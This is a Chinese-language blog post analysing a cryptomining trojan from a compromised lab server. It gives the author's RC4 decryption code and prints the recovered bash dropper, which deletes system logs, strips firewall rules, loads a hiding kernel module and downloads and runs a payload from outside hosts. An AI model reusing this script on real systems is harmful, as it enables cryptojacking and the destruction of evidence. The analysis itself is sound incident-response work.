记一次木马病毒分析

起因

别的实验室的同学的服务器中挖矿木马了,被抓过去尝试修了下,正巧在分析攻击路径的时候拷了一份病毒生产的文件,来进行一个分析。

简介

病毒应该是yayaya的变体,因为攻击路径很像,但是在内核文件中没有找到nonono的内核程序,因为内核程序太多,不敢进行测试,所以只删除了生成文件。

从进程中可以看到有一个16进制命名的文件/axxxxxxx占用了50%以上的cpu,但是在文件系统中找不到文件,很可能是删除了该文件。但是从进程中可以找到它的运行程序和service。运行程序是/usr/bin/b8cf3b78143f1ff3,初步看一下可以发现这是个写病毒并运行的文件。所以猜测病毒攻击路径应该是xxxx.ko->/usr/bin/b8cf3b78143f1ff3->/axxxxxxx,那么内核文件应该只是个定期调用产生病毒的文件。事实证明删除了该文件之后,cpu占用确实不见了,但是关不了机,应该是内核程序还在运行。

本文重在分析该挖矿木马的文件细节。

分析

image-20240422144540559.png
主体函数是这个,这个函数在最后调用了execvp运行file,说明它可能是一个绕过木马查杀的文件,用于写病毒并运行。

点进去函数可以看到很多加密的操作,于是首先得分析一下加密函数。
image-20240422145054293.png
初步分析应该是这样的过程。那么先看看init干了啥:
image-20240422145147008.png
很简单的函数,只是初始化了tb0为0-255,所以重点在后面的random里:
image-20240422145241451.png
嗯。。。根据256位和神奇的交换方式,可以看出来这应该是一个rc4流密码。那么写一个rc4来试试。

由于rc4算法的加密和解密是相同的,所以只要能生成相同的流串就能解密。所以很明显程序是通过rc4加密之后存入,然后在运行时解密使用的。

好的!接下来让我们看看里面到底加密了些啥玩意!

#include<stdio.h>

unsigned char poi0,poi1,poi2;
int tb0[256];

int cry_init(){
    int result;
    poi0 = 0;
    poi1 = 0;
    poi2 = 0;
    do
    {
        tb0[(unsigned char)poi0] = poi0;
        result = (unsigned char)++poi0;
    }
    while ( poi0 );
    return result;
}

int cry_random(unsigned char *key,int len){
  int result; // rax
  unsigned char v4; // [rsp+13h] [rbp-9h]
  int v5; // [rsp+14h] [rbp-8h]

  while ( len > 0 )
  {
    do
    {
      v4 = tb0[(unsigned char)poi0];
      poi2 += v4;
      poi2 += key[poi0 % len];
      tb0[poi0] = tb0[poi2];
      tb0[poi2] = v4;
      result = ++poi0;
    }
    while ( poi0 );
    len -= 256;
  }
  return result;
}

int cry_encrypt(unsigned char *p , int len){

  unsigned char v4; 

  while ( len > 0 )
  {
    v4 = tb0[++poi0];
    poi1 += v4;
    tb0[poi0] = tb0[poi1];
    tb0[poi1] = v4;

    *p++ ^= tb0[(unsigned char)(tb0[(unsigned char)poi0] + v4)];
    --len;
  }
  return 1;
}

void output(unsigned char* p, int len,int flag){
    if(flag){
        for(int i  = 0 ; i < len ; i ++){

            printf("%d ",p[i]);

        }
    }else{
        for(int i  = 0 ; i < len ; i ++){

            printf("%c",p[i]);

        }
    }
    printf("\n-----------------------------------------------------\n\n");
    
}



int main(){
    unsigned char key[] =
{
  0x5A, 0xE0, 0x3E, 0x1A, 0xD2, 0x7F, 0xA0, 0x7E, 0x79, 0xDB, 
  0xE8, 0x97, 0x2D, 0x5D, 0x94, 0xEB, 0x6E, 0xEA, 0x9C, 0x14, 
  0x42, 0xF9, 0x23, 0x10, 0xB4, 0xFD, 0xBE, 0x17, 0x37, 0xA0, 
  0x5C, 0x91, 0x80, 0x9B, 0xAC, 0x53, 0x1A, 0x4D, 0xD1, 0x94, 
  0x28, 0xB9, 0x2B, 0x55, 0x16, 0xBF, 0x41, 0x85, 0xAA, 0xDD, 
  0x99, 0xEC, 0xD6, 0xBD, 0xFC, 0x8B, 0xBB, 0xBB, 0xA3, 0xF2, 
  0x5B, 0xFF, 0x83, 0xDC, 0x9A, 0x30, 0x2F, 0xB5, 0x7D, 0x00, 
  0x4A, 0xA6, 0xB9, 0x75, 0xFB, 0xD0, 0x35, 0x3C, 0x55, 0xDF, 
  0x1A, 0xEF, 0xCC, 0xF1, 0xAD, 0xC8, 0x7C, 0x68, 0x83, 0x20, 
  0x5A, 0xDF, 0x1F, 0xDE, 0xBB, 0xBA, 0x0E, 0xEA, 0x70, 0x8C, 
  0xEA, 0xBA, 0x32, 0xA4, 0x30, 0x2D, 0x74, 0x65, 0x6A, 0xCA, 
  0x44, 0x84, 0xBA, 0x10, 0x75, 0x67, 0xD9, 0xF2, 0xCF, 0x5D, 
  0x12, 0x2A, 0x3C, 0x32, 0x08, 0xF8, 0xED, 0x16, 0xE2, 0x5D, 
  0xA3, 0xCD, 0x18, 0xD5, 0x71, 0x48, 0x03, 0xE6, 0xAE, 0x6D, 
  0xB0, 0xF2, 0xF2, 0x6A, 0x03, 0x68, 0xD2, 0xDC, 0x5A, 0xA2, 
  0x3A, 0x6C, 0xCC, 0x77, 0x9F, 0xD4, 0x6F, 0x8C, 0xEB, 0x51, 
  0xEA, 0x8E, 0x1F, 0x03, 0x64, 0x91, 0x4C, 0x67, 0x77, 0xFA, 
  0xD5, 0x28, 0xED, 0xC7, 0x93, 0xF0, 0x30, 0x65, 0xCD, 0x8A, 
  0x07, 0x08, 0xF7, 0xD4, 0x7F, 0x96, 0xA8, 0xEE, 0x23, 0x94, 
  0x40, 0x0D, 0x23, 0x5F, 0x11, 0x87, 0xF0, 0x5D, 0xEE, 0x68, 
  0x57, 0xC4, 0x90, 0x45, 0x8B, 0x24, 0x35, 0xBB, 0x89, 0x03, 
  0x46, 0x91, 0x0B, 0x3E, 0x65, 0x8A, 0xD4, 0x0E, 0x79, 0xF8, 
  0xA2, 0xB9, 0x06, 0xC6, 0x19, 0x17, 0x4D, 0x0A, 0x74, 0x3C, 
  0x72, 0xCC, 0x00, 0x03, 0x11, 0x8C, 0x27, 0x47, 0x47, 0xB1, 
  0x4A, 0x8E, 0x42, 0x56, 0xCC, 0xA8, 0xE1, 0xA1, 0xB6, 0x5A, 
  0x99, 0x59, 0x13, 0x9F, 0x1F, 0x2C
};
    
    cry_init();

    cry_random(key,256);

    unsigned char t1[] = 
    {
    0xC8, 0x8F, 0x22, 0x17, 0x06, 0xF7, 0x50, 0xE0, 0x38, 0x74, 
    0xC4, 0x1F, 0x9C, 0x20, 0xAA, 0x98, 0xD5, 0x71, 0x16, 0x01, 
    0x92, 0x93, 0xB2, 0x7F, 0x39, 0xC0, 0xF4, 0xBC, 0x14, 0x2C, 
    0x3D, 0x48, 0xAC, 0xDE, 0x54, 0x8F, 0x0D, 0x36, 0x32, 0x2F, 
    0xD0, 0xE6, 0xF0, 0xF6, 0xED, 0x9B, 0x77, 0x22, 0x63, 0xE0, 
    0xC4, 0xCF, 0x5B, 0xBB, 0xAB, 0xF7, 0xF8, 0x7C, 0x84, 0xAC, 
    0x61, 0x56, 0x13, 0x32, 0xD4
    };

    cry_encrypt(t1,65);

    output(t1,65,0);
    unsigned char t2[] = {0x0f};
    cry_encrypt(t2,1);
    output(t2,1,1);
    unsigned char file[] =
    {
    0x57, 0x8F, 0x41, 0xDC, 0x59, 0x09, 0xE4, 0x4D, 0x73, 0x24
    };

    cry_encrypt(file,10);
    output(file,10,0);

    unsigned char t3[] =
    {
    0xF8, 0xFE, 0xAB, 0x00, 0x00
    };

    cry_encrypt(t3,3);
    output(t3,3,0);

    unsigned char aI[] =
    {
    0x22, 0x49, 0x8A, 0x99, 0xB3, 0xDE, 0xEF, 0x43, 0x9A, 0x68, 
    0x8C, 0xDD, 0x26, 0x3B, 0xE3
    };

    cry_encrypt(aI,15);
    output(aI,15,0);

    unsigned char t4[] = {0xB7};
    cry_encrypt(t4,1);
    output(t4,1,1);

    unsigned char table2[] =
    {
    0xA1, 0xA1, 0x03, 0x97, 0xDC, 0xD2, 0x25, 0xF5, 0x8D, 0xC8, 
    0x2D, 0x30, 0xB7, 0xDF, 0x41, 0x95, 0xE8, 0x40, 0xD4, 0xEF, 
    0x50, 0x5E
    };

    cry_encrypt(table2,22);
    output(table2,22,0);

    cry_random(table2,22);
    unsigned char table3[] =
    {
    0xCC, 0x86, 0xAC, 0x69, 0xE7, 0x63, 0xCA, 0x33, 0xF4, 0x32, 
    0x51, 0x6D, 0x68, 0xF9, 0xB1, 0x68, 0x61, 0x91, 0x3B, 0x83, 
    0x8B, 0xD3
    };

    cry_encrypt(table3,22);
    output(table3,22,0);

    unsigned char t5[] =
    {
    0xAD, 0x51, 0x31, 0xA3, 0xA8, 0x86, 0xF7, 0x9F, 0xD5, 0xE2, 
    0xDD, 0xA1, 0x29, 0xEB, 0x68, 0x73, 0x74, 0x08, 0x0D
    };

    cry_encrypt(t5,19);
    output(t5,19,0);
    
    unsigned char f1[] = {0xE1 };

    cry_encrypt(f1,1);
    output(f1,1,1);
    unsigned char f2[] = {0xEE};
    cry_encrypt(f2,1);

    output(f2,1,1);

    #include "export_results.h"

    cry_encrypt(data,18782);
    // output(data,18782,0);
    // FILE* f = fopen("output.txt","w");
    // for(int i = 0 ; i < 18782 ; i ++){
    //     fprintf(f,"%c",data[i]);
    // }
    // fclose(f);
    
    unsigned char table4[] =
    {
    0x83, 0x34, 0x5E, 0x85, 0x39, 0x7B, 0x42, 0x20, 0x0E, 0x49, 
    0x86, 0x1F, 0xE3, 0x28, 0xEA, 0x6E, 0x0D, 0xF1, 0x0B
    };

    cry_encrypt(table4,19);
    output(table4,19,0);

    cry_random(table4,19);

    unsigned char table5[] =
    {
    0x5E, 0xF0, 0x8D, 0x3E, 0x2E, 0xB0, 0x4E, 0x71, 0x45, 0xAB, 
    0x2B, 0xA2, 0xB3, 0x90, 0x87, 0xAF, 0x5F, 0x16, 0xEA
    };

    cry_encrypt(table5,19);

    output(table5,19,0);

}

从代码里我们找到了很多散装的内容,以及一个bash程序,这个程序看上去就是挖矿程序了,程序就不放了,下面有缩略的程序。

然后继续分析:

image-20240422163320709.png

这个代码是添加源程序的。

image-20240422163353702.png

这个是调整环境变量的,其中exec_fun=exec '%s' "$@",v14=getenv("_")返回一个指向当前程序的可执行文件名的字符串的指针,"$@"会返回所有参数。

image-20240422164110769.png

然后就是最后一段,不看那个else,剩下的步骤就是拼接参数,然后就通过/bin/bash执行那个程序脚本,来操作挖矿。

浅分析一下挖矿软件:

#!/bin/bash
rm -rf /var/www/html/config.json
rm -rf /root/.xmrig.json
rm -rf /root/.config/xmrig.json
rm -rf /var/log/messages*
rm -rf /var/log/secure*
rm -rf /var/log/auth.log*
rm -rf /var/log/syslog*
echo "fs.file-max = 2097152" > /etc/sysctl.conf
sysctl -p
ulimit -SHn 1024000
mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null&
mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null&
sleep 1
iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 157.245 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 146.190 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 144.126 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 167.172 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.104 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.105 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
mv /usr/sbin/iptables /usr/sbin/tokens 2>/dev/null 1>/dev/null&
mv /sbin/iptables /sbin/tokens 2>/dev/null 1>/dev/null&
hhide=$1
if [ -z "$1" ]; then
  hhide="ad12e85f"
else
  hhide="$1"
fi
module_install () {
mkdir /tmp/a
cat <<EOF >>/tmp/a/iptable_reject.h
...
...
EOF
sed -i -e"s/hhide/$(echo $hhide)/" /tmp/a/iptable_reject.h
cat <<EOF >>/tmp/a/iptable_reject.c
...
...
EOF
cat <<EOF >>/tmp/a/Makefile
obj-m := iptable_reject.o
CC = gcc -Wall
KDIR := /lib/modules/`uname -r`/build
PWD := /tmp/a
EOF
make -C /lib/modules/`uname -r`/build M=/tmp/a modules
insmod /tmp/a/iptable_reject.ko
rm -rf /tmp/a
}
DIR3="/etc/$hhide"
if [ -d "$DIR3" ]; then
  echo "folder  ok"
else
  mkdir "$DIR3"
fi
EXE=`echo $RANDOM | md5sum | head -c 8`
PID=`cat /tmp/.X0_locks`
mama=$2
if [ -e "/proc/$PID/status" ]; then
  echo "process exists"
else
if [ -z "$2" ]; then
  echo "No Prx"
else
  if grep -q "localhost00" "/etc/hosts"; then
    echo "H exists"
  else
    if [ `wc -l < /etc/hosts` -lt 3 ]; then
      echo "$mama localhost00" >> /etc/hosts
    else
      sed -i "3i $mama localhost00" /etc/hosts
    fi
  fi
fi
  echo "process not exists"
  FILE1="/etc/$hhide/iptable_reject"
  if [ -f "$FILE1" ]; then
      echo "PI exists."
  else
      echo "PI does not exist."
      curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://example.established.site/pn.zip
    FILE="/tmp/pn.zip"
    FILESIZE=$(stat -c%s "$FILE")
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=5 --tries=2 http://example.established.site/pn.zip -q -O /tmp/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":1081 http://example.established.site/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=5 --tries=2 http://w.amax.fun/pn.zip -q -O /tmp/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
      echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://172.104.170.240/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=50 --tries=2 http://172.104.170.240/pn.zip -q -O /tmp/pn.zip
    fi
    cd /tmp/
    unzip -qq -o pn.zip
    rm -rf pn.zip
    mv iptable_reject "$FILE1"
  fi
  FILE2="/$EXE"
  if [ -f "$FILE2" ]; then
      echo "MD exists."
  else
      echo "MD does not exist."
      cp "$FILE1" /"$EXE"
  fi
  /"$EXE" 2>/dev/null 1>/dev/null&
  sleep 2
  pidof "$EXE" > /tmp/.X0_locks
  rm -rf /"$EXE"
  kill -53 10000000
  if grep -q "iptable_reject" "/proc/modules"; then
    echo "M exists"
    kill -41 `cat /tmp/.X0_locks`
    kill -53 10000000
  else
    echo "M not exists"
    module_install
    kill -53 10000000
  if grep -q "iptable_reject" "/proc/modules"; then
    echo "M exists"
    kill -41 `cat /tmp/.X0_locks`
    kill -53 10000000
  else
    echo "M not installed check errors 2"
  fi
  fi
fi
sudo journalctl --vacuum-time=1s
  1. 把你的所有存储log的地方删了
  2. 增加一个开想要的ip的c文件,并且用make编译,然后删掉c文件,挂载内核文件iptable_reject.ko
  3. 远程下载需要的zip文件,塞进一个随机的md5的文件/xxxxxxxx中,然后运行它
  4. 删除这个文件,但是文件会在内存中持续运行
  5. 隐藏驱动
  6. 访问日志刷新
    从这里其实可以看到内核文件在哪,可以rmmod卸载它。